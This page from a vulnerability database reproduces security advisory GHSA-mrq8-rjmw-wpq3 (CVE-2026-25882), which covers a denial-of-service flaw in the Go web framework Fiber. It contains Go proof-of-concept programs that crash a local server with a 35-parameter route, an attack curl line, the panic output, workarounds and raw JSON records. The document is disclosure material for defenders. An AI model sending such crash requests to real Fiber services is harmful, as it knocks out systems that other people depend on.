Vulnerability-Lookup

GHSA-MRQ8-RJMW-WPQ3

Vulnerability from github – Published: 2026-02-24 21:04 – Updated: 2026-02-24 21:04

Summary

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow

Details

A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.

Affected Versions

Fiber v3.0.0-rc.3 and earlier v3 releases
Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
Both versions share the same vulnerable routing implementation

Vulnerability Details

Root Cause

Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:

const maxParams = 30

type DefaultCtx struct {
    values [maxParams]string  // Fixed 30-element array
    // ...
}

The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:

v3: path.go:514
v2: path.go:516

// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]

When paramsIterator >= 30, this triggers:

panic: runtime error: index out of range [30] with length 30

Attack Scenario

Application registers route with >30 parameters (e.g., via code or dynamic routing): go app.Get("/api/:p1/:p2/:p3/.../p35", handler)
Attacker sends matching HTTP request: bash curl http://target/api/v1/v2/v3/.../v35
Server crashes during request processing with runtime panic

Proof of Concept

For Fiber v3

package main

import (
    "fmt"
    "net/http"
    "time"
    "github.com/gofiber/fiber/v3"
)

func main() {
    app := fiber.New()

    // Register route with 35 parameters (exceeds maxParams=30)
    path := "/test"
    for i := 1; i <= 35; i++ {
        path += fmt.Sprintf("/:p%d", i)
    }

    fmt.Printf("Registering route: %s...\n", path[:50]+"...")
    app.Get(path, func(c fiber.Ctx) error {
        return c.SendString("Never reached")
    })
    fmt.Println("✓ Registration succeeded (NO PANIC)")

    go func() {
        app.Listen(":9999")
    }()
    time.Sleep(200 * time.Millisecond)

    // Build exploit URL with 35 parameter values
    url := "http://localhost:9999/test"
    for i := 1; i <= 35; i++ {
        url += fmt.Sprintf("/v%d", i)
    }

    fmt.Println("\n🔴 Sending exploit request...")
    fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")

    resp, err := http.Get(url)
    if err != nil {
        fmt.Printf("✗ Request failed: %v\n", err)
        fmt.Println("💥 Server crashed!")
    } else {
        fmt.Printf("Response: %d\n", resp.StatusCode)
        resp.Body.Close()
    }
}

Output:

Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]:
github.com/gofiber/fiber/v3.(*routeParser).getMatch(...)
    /path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(*Route).match(...)
    /path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(*App).next(...)
    /path/to/fiber/router.go:142

For Fiber v2

package main

import (
    "fmt"
    "net/http"
    "time"
    "github.com/gofiber/fiber/v2"
)

func main() {
    app := fiber.New()

    // Register route with 35 parameters (exceeds maxParams=30)
    path := "/test"
    for i := 1; i <= 35; i++ {
        path += fmt.Sprintf("/:p%d", i)
    }

    fmt.Printf("Registering route: %s...\n", path[:50]+"...")
    app.Get(path, func(c *fiber.Ctx) error {
        return c.SendString("Never reached")
    })
    fmt.Println("✓ Registration succeeded (NO PANIC)")

    go func() {
        app.Listen(":9998")
    }()
    time.Sleep(200 * time.Millisecond)

    // Build exploit URL with 35 parameter values
    url := "http://localhost:9998/test"
    for i := 1; i <= 35; i++ {
        url += fmt.Sprintf("/v%d", i)
    }

    fmt.Println("\n🔴 Sending exploit request...")
    fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")

    resp, err := http.Get(url)
    if err != nil {
        fmt.Printf("✗ Request failed: %v\n", err)
        fmt.Println("💥 Server crashed!")
    } else {
        fmt.Printf("Response: %d\n", resp.StatusCode)
        resp.Body.Close()
    }
}

Output (v2):

Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)

🔴 Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]

panic: runtime error: index out of range [30] with length 30

goroutine 40 [running]:
github.com/gofiber/fiber/v2.(*routeParser).getMatch(...)
    /path/to/fiber/v2@v2.52.10/path.go:512
github.com/gofiber/fiber/v2.(*Route).match(...)
    /path/to/fiber/v2@v2.52.10/router.go:84
github.com/gofiber/fiber/v2.(*App).next(...)
    /path/to/fiber/v2@v2.52.10/router.go:127

Impact

Exploitation Requirements

No authentication required
Single HTTP request triggers crash
Trivially scriptable for sustained DoS
Works against any route with >30 parameters

Real-World Impact

Public APIs: Remote DoS attacks on vulnerable endpoints
Microservices: Cascade failures if vulnerable service is critical
Auto-scaling: Repeated crashes prevent proper recovery
Monitoring: Log flooding and alert fatigue

Likelihood

HIGH - Exploitation requires only: - Knowledge of route structure (often public in APIs) - Standard HTTP client (curl, browser, etc.) - Single malformed request

Workarounds

Until patched, users should:

Audit Routes: Ensure all routes have ≤30 parameters bash # Search for potential issues grep -r "/:.*/:.*/:.*" . | grep -v node_modules
Disable Dynamic Routing: If programmatically registering routes, validate parameter count: go paramCount := strings.Count(route, ":") if paramCount > 30 { log.Fatal("Route exceeds maxParams") }
Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact
Monitoring: Alert on panic patterns in application logs

Timeline

2024-12-24: Vulnerability discovered in v3 during PR #3962 review
2024-12-25: Proof of concept confirmed exploitability in v3
2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
2024-12-25: Security advisory created

References

v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)
Vulnerable Code Locations:
v3: path.go:514
v2: path.go:516

Credit

Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev

Severity ?

6.9 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gofiber/fiber/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.52.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gofiber/fiber/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-129"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-24T21:04:07Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.\n\n## Affected Versions\n\n- **Fiber v3.0.0-rc.3** and earlier v3 releases\n- **Fiber v2.52.10** and potentially all v2 releases (confirmed exploitable)\n- Both versions share the same vulnerable routing implementation\n\n## Vulnerability Details\n\n### Root Cause\n\nBoth Fiber v2 and v3 define a fixed-size parameter array in `ctx.go`:\n\n```go\nconst maxParams = 30\n\ntype DefaultCtx struct {\n    values [maxParams]string  // Fixed 30-element array\n    // ...\n}\n```\n\nThe `router.go` `register()` function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in `path.go` performs an unbounded write:\n\n- **v3**: `path.go:514`\n- **v2**: `path.go:516`\n\n```go\n// path.go:514 - NO BOUNDS CHECKING\nparams[paramsIterator] = path[:i]\n```\n\nWhen `paramsIterator \u003e= 30`, this triggers:\n```\npanic: runtime error: index out of range [30] with length 30\n```\n\n### Attack Scenario\n\n1. Application registers route with \u003e30 parameters (e.g., via code or dynamic routing):\n   ```go\n   app.Get(\"/api/:p1/:p2/:p3/.../p35\", handler)\n   ```\n\n2. Attacker sends matching HTTP request:\n   ```bash\n   curl http://target/api/v1/v2/v3/.../v35\n   ```\n\n3. Server crashes during request processing with runtime panic\n\n## Proof of Concept\n\n### For Fiber v3\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\t\"github.com/gofiber/fiber/v3\"\n)\n\nfunc main() {\n\tapp := fiber.New()\n\t\n\t// Register route with 35 parameters (exceeds maxParams=30)\n\tpath := \"/test\"\n\tfor i := 1; i \u003c= 35; i++ {\n\t\tpath += fmt.Sprintf(\"/:p%d\", i)\n\t}\n\t\n\tfmt.Printf(\"Registering route: %s...\\n\", path[:50]+\"...\")\n\tapp.Get(path, func(c fiber.Ctx) error {\n\t\treturn c.SendString(\"Never reached\")\n\t})\n\tfmt.Println(\"\u2713 Registration succeeded (NO PANIC)\")\n\t\n\tgo func() {\n\t\tapp.Listen(\":9999\")\n\t}()\n\ttime.Sleep(200 * time.Millisecond)\n\t\n\t// Build exploit URL with 35 parameter values\n\turl := \"http://localhost:9999/test\"\n\tfor i := 1; i \u003c= 35; i++ {\n\t\turl += fmt.Sprintf(\"/v%d\", i)\n\t}\n\t\n\tfmt.Println(\"\\n\ud83d\udd34 Sending exploit request...\")\n\tfmt.Println(\"Expected: panic at path.go:514 params[paramsIterator] = path[:i]\\n\")\n\t\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"\u2717 Request failed: %v\\n\", err)\n\t\tfmt.Println(\"\ud83d\udca5 Server crashed!\")\n\t} else {\n\t\tfmt.Printf(\"Response: %d\\n\", resp.StatusCode)\n\t\tresp.Body.Close()\n\t}\n}\n```\n\n**Output:**\n```\nRegistering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...\n\u2713 Registration succeeded (NO PANIC)\n\n\ud83d\udd34 Sending exploit request...\nExpected: panic at path.go:514 params[paramsIterator] = path[:i]\n\npanic: runtime error: index out of range [30] with length 30\n\ngoroutine 40 [running]:\ngithub.com/gofiber/fiber/v3.(*routeParser).getMatch(...)\n\t/path/to/fiber/path.go:514\ngithub.com/gofiber/fiber/v3.(*Route).match(...)\n\t/path/to/fiber/router.go:89\ngithub.com/gofiber/fiber/v3.(*App).next(...)\n\t/path/to/fiber/router.go:142\n```\n\n### For Fiber v2\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\t\"github.com/gofiber/fiber/v2\"\n)\n\nfunc main() {\n\tapp := fiber.New()\n\t\n\t// Register route with 35 parameters (exceeds maxParams=30)\n\tpath := \"/test\"\n\tfor i := 1; i \u003c= 35; i++ {\n\t\tpath += fmt.Sprintf(\"/:p%d\", i)\n\t}\n\t\n\tfmt.Printf(\"Registering route: %s...\\n\", path[:50]+\"...\")\n\tapp.Get(path, func(c *fiber.Ctx) error {\n\t\treturn c.SendString(\"Never reached\")\n\t})\n\tfmt.Println(\"\u2713 Registration succeeded (NO PANIC)\")\n\t\n\tgo func() {\n\t\tapp.Listen(\":9998\")\n\t}()\n\ttime.Sleep(200 * time.Millisecond)\n\t\n\t// Build exploit URL with 35 parameter values\n\turl := \"http://localhost:9998/test\"\n\tfor i := 1; i \u003c= 35; i++ {\n\t\turl += fmt.Sprintf(\"/v%d\", i)\n\t}\n\t\n\tfmt.Println(\"\\n\ud83d\udd34 Sending exploit request...\")\n\tfmt.Println(\"Expected: panic at path.go:516 params[paramsIterator] = path[:i]\\n\")\n\t\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\tfmt.Printf(\"\u2717 Request failed: %v\\n\", err)\n\t\tfmt.Println(\"\ud83d\udca5 Server crashed!\")\n\t} else {\n\t\tfmt.Printf(\"Response: %d\\n\", resp.StatusCode)\n\t\tresp.Body.Close()\n\t}\n}\n```\n\n**Output (v2):**\n```\nRegistering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...\n\u2713 Registration succeeded (NO PANIC)\n\n\ud83d\udd34 Sending exploit request...\nExpected: panic at path.go:516 params[paramsIterator] = path[:i]\n\npanic: runtime error: index out of range [30] with length 30\n\ngoroutine 40 [running]:\ngithub.com/gofiber/fiber/v2.(*routeParser).getMatch(...)\n\t/path/to/fiber/v2@v2.52.10/path.go:512\ngithub.com/gofiber/fiber/v2.(*Route).match(...)\n\t/path/to/fiber/v2@v2.52.10/router.go:84\ngithub.com/gofiber/fiber/v2.(*App).next(...)\n\t/path/to/fiber/v2@v2.52.10/router.go:127\n```\n\n## Impact\n\n### Exploitation Requirements\n- No authentication required\n- Single HTTP request triggers crash\n- Trivially scriptable for sustained DoS\n- Works against any route with \u003e30 parameters\n\n### Real-World Impact\n- **Public APIs**: Remote DoS attacks on vulnerable endpoints\n- **Microservices**: Cascade failures if vulnerable service is critical\n- **Auto-scaling**: Repeated crashes prevent proper recovery\n- **Monitoring**: Log flooding and alert fatigue\n\n### Likelihood\n**HIGH** - Exploitation requires only:\n- Knowledge of route structure (often public in APIs)\n- Standard HTTP client (curl, browser, etc.)\n- Single malformed request\n\n## Workarounds\n\nUntil patched, users should:\n\n1. **Audit Routes**: Ensure all routes have \u226430 parameters\n   ```bash\n   # Search for potential issues\n   grep -r \"/:.*/:.*/:.*\" . | grep -v node_modules\n   ```\n\n2. **Disable Dynamic Routing**: If programmatically registering routes, validate parameter count:\n   ```go\n   paramCount := strings.Count(route, \":\")\n   if paramCount \u003e 30 {\n       log.Fatal(\"Route exceeds maxParams\")\n   }\n   ```\n\n3. **Rate Limiting**: Deploy aggressive rate limiting to mitigate DoS impact\n\n4. **Monitoring**: Alert on panic patterns in application logs\n\n## Timeline\n\n- **2024-12-24**: Vulnerability discovered in v3 during PR #3962 review\n- **2024-12-25**: Proof of concept confirmed exploitability in v3\n- **2024-12-25**: Vulnerability confirmed to also exist in v2 (same root cause)\n- **2024-12-25**: Security advisory created\n\n## References\n\n- **v3 Related PR**: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn\u0027t fix root cause)\n- **Vulnerable Code Locations**:\n  - v3: [path.go:514](https://github.com/gofiber/fiber/blob/main/path.go#L514)\n  - v2: [path.go:516](https://github.com/gofiber/fiber/blob/v2/path.go#L516)\n\n## Credit\n\n**Discovered by:** @sixcolors (Fiber maintainer) and @TheAspectDev",
  "id": "GHSA-mrq8-rjmw-wpq3",
  "modified": "2026-02-24T21:04:07Z",
  "published": "2026-02-24T21:04:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/security/advisories/GHSA-mrq8-rjmw-wpq3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/pull/3962"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gofiber/fiber"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/blob/main/path.go#L514"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gofiber/fiber/blob/v2/path.go#L516"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Fiber has a Denial of Service Vulnerability via Route Parameter Overflow"
}

CVE-2026-25882 (GCVE-0-2026-25882)

Vulnerability from cvelistv5 – Published: 2026-02-24 21:05 – Updated: 2026-02-24 21:39

Title

Fiber has a Denial of Service Vulnerability via Route Parameter Overflow

Summary

Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Version 2.52.12 patches the issue in the v2 branch and 3.1.0 patches the issue in the v3 branch.

Severity ?

5.5 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P

CWE

CWE-129 - Improper Validation of Array Index

Assigner

GitHub_M

References

URL

Tags

	https://github.com/gofiber/fiber/security/advisor…	x_refsource_CONFIRM
	https://github.com/gofiber/fiber/pull/3962	x_refsource_MISC
	https://github.com/gofiber/fiber/blob/main/path.go#L514	x_refsource_MISC
	https://github.com/gofiber/fiber/blob/v2/path.go#L516	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	gofiber	fiber	Affected: >= 2.0.0, < 2.52.12 Affected: >= 3.0.0, < 3.1.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-25882",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-02-24T21:39:39.261259Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-02-24T21:39:51.170Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "fiber",
          "vendor": "gofiber",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.0.0, \u003c 2.52.12"
            },
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.1.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Fiber is an Express inspired web framework written in Go. A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching. Version 2.52.12 patches the issue in the v2 branch and 3.1.0 patches the issue in the v3 branch."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-129",
              "description": "CWE-129: Improper Validation of Array Index",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-02-24T21:09:57.502Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/gofiber/fiber/security/advisories/GHSA-mrq8-rjmw-wpq3",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/gofiber/fiber/security/advisories/GHSA-mrq8-rjmw-wpq3"
        },
        {
          "name": "https://github.com/gofiber/fiber/pull/3962",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gofiber/fiber/pull/3962"
        },
        {
          "name": "https://github.com/gofiber/fiber/blob/main/path.go#L514",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gofiber/fiber/blob/main/path.go#L514"
        },
        {
          "name": "https://github.com/gofiber/fiber/blob/v2/path.go#L516",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/gofiber/fiber/blob/v2/path.go#L516"
        }
      ],
      "source": {
        "advisory": "GHSA-mrq8-rjmw-wpq3",
        "discovery": "UNKNOWN"
      },
      "title": "Fiber has a Denial of Service Vulnerability via Route Parameter Overflow"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-25882",
    "datePublished": "2026-02-24T21:05:28.211Z",
    "dateReserved": "2026-02-06T21:08:39.129Z",
    "dateUpdated": "2026-02-24T21:39:51.170Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-MRQ8-RJMW-WPQ3

Affected Versions

Vulnerability Details

Root Cause

Attack Scenario

Proof of Concept

For Fiber v3

For Fiber v2

Impact

Exploitation Requirements

Real-World Impact

Likelihood

Workarounds

Timeline

References

Credit

CVE-2026-25882 (GCVE-0-2026-25882)

Tags

Sightings

Nomenclature